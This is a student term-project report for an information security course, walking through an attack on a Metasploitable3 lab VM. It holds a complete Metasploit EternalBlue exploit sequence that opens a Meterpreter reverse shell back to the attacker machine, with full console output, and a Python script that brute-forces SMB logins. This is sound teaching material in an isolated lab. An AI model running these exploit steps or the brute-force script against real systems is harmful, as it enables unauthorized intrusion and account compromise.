King Fahad University of Petroleum and Minerals

ICS344 Information security

Term Project

Setup and Compromise the Service

Phase#1

Team

Name	ID
Ismael Arqsosi	202182150
Taha Ali	202045620
Saad Alharbi	201935590

Phase 1: Attacker & Victim Setup + Exploitation

1.1 Victim Machine Setup (Metasploitable3)

- Deployed vulnerable Windows Server 2008 using Metasploitable3
- Tools used:
    - VirtualBox
    - Vagrant
    - Packer (added to system PATH)
- Cloned the official repo and built the VM using:
- git clone https://github.com/rapid7/metasploitable3.git
- cd metasploitable3
- vagrant plugin install vagrant-reload
- vagrant up win2k8
- Successfully started the VM in VirtualBox and accessed the desktop with credentials vagrant:vagrant

1.2 Attacker Machine Setup (Kali Linux)

- Kali Linux configured with Host-Only adapter
- Verified victim connectivity using ping

1.3 Exploitation via Metasploit

- Nmap scan on SMB port 445:
- nmap -sV -p 445 192.168.56.101
-
- Used EternalBlue exploit in Metasploit:
- use exploit/windows/smb/ms17_010_eternalblue
- set RHOSTS 192.168.56.101
- set LHOST 192.168.56.102
- set PAYLOAD windows/x64/meterpreter/reverse_tcp

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV  -p 445 192.168.56.101
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-23 08:30 EDT
Nmap scan report for 192.168.56.101
Host is up (0.0012s latency).

PORT    STATE SERVICE      VERSION
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
MAC Address: 08:00:27:D7:CC:D8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.40 seconds
```

- set LPORT to 4444
- exploit
- Successfully opened a Meterpreter session and ran, sysinfo

```
       =[ metasploit v6.4.56-dev                          ]
+ -- --=[ 2505 exploits - 1291 auxiliary - 431 post       ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.56.101
RHOSTS ⇒ 192.168.56.101
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.56.102
LHOST ⇒ 192.168.56.102
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD ⇒ windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
LPORT ⇒ 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] 192.168.56.101:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.56.101:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.16/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+'
and '?' was replaced with '*' in regular expression
[*] 192.168.56.101:445    - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.56.101:445 - The target is vulnerable.
[*] 192.168.56.101:445 - Connecting to target for exploitation.
[+] 192.168.56.101:445 - Connection established for exploitation.
[+] 192.168.56.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.56.101:445 - CORE raw buffer dump (51 bytes)
[*] 192.168.56.101:445 - 0×00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 192.168.56.101:445 - 0×00000010  30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20  008 R2 Standard
[*] 192.168.56.101:445 - 0×00000020  37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63  7601 Service Pac
[*] 192.168.56.101:445 - 0×00000030  6b 20 31                                         k 1
[+] 192.168.56.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.56.101:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.56.101:445 - Sending all but last fragment of exploit packet
[*] 192.168.56.101:445 - Starting non-paged pool grooming
[+] 192.168.56.101:445 - Sending SMBv2 buffers
[+] 192.168.56.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.56.101:445 - Sending final SMBv2 buffers.
[*] 192.168.56.101:445 - Sending last fragment of exploit packet!
[*] 192.168.56.101:445 - Receiving response from exploit packet
[+] 192.168.56.101:445 - ETERNALBLUE overwrite completed successfully (0×C000000D)!
[*] 192.168.56.101:445 - Sending egg to corrupted connection.
[*] 192.168.56.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (203846 bytes) to 192.168.56.101
[+] 192.168.56.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.56.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.56.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (192.168.56.102:4444 → 192.168.56.101:49648) at 2025-04-20 14:05:07 -0400

meterpreter > sysinfo
Computer        : METASPLOITABLE3
OS              : Windows Server 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
```

- Wrote a Python script using smbclient to brute-force SMB logins
- Script located at: Phase1/smb_exploit/smb_brute.py
- Successfully found working credentials: administrator:vagrant
- Screenshots to include:

```python
import os
target = "192.168.56.101"
usernames = ["administrator", "guset"]
passwords = ["vagrant",  "1234", "admin", "password", "toor"]
for user in usernames:
        for password in passwords:
                print(f"Trying{user}:{password}")
                command = f"smbclient //{target}/C$ -U {user}%{password} -c exit"
                result = os.system(command)
                if result == 0:
                        print(f"[+] SUCCESS: {user}:{password}")
                        exit()
print("[-] all attempts failed.")
```

```
┌──(kali㉿kali)-[~]
└─$ python3 smb_brute.py
Tryingadministrator:vagrant
[+] SUCCESS: administrator:vagrant
```

Notes:

- Targeted SMB vulnerability (EternalBlue/MS17-010) on port 445
- Used Metasploit to exploit the victim and open a remote shell
- Confirmed access with Meterpreter session (whoami/sysinfo)
- Wrote Python script to brute-force SMB credentials using smbclient
- Successfully found valid credentials: administrator:vagrant
- Proved understanding of both manual and scripted attack methods.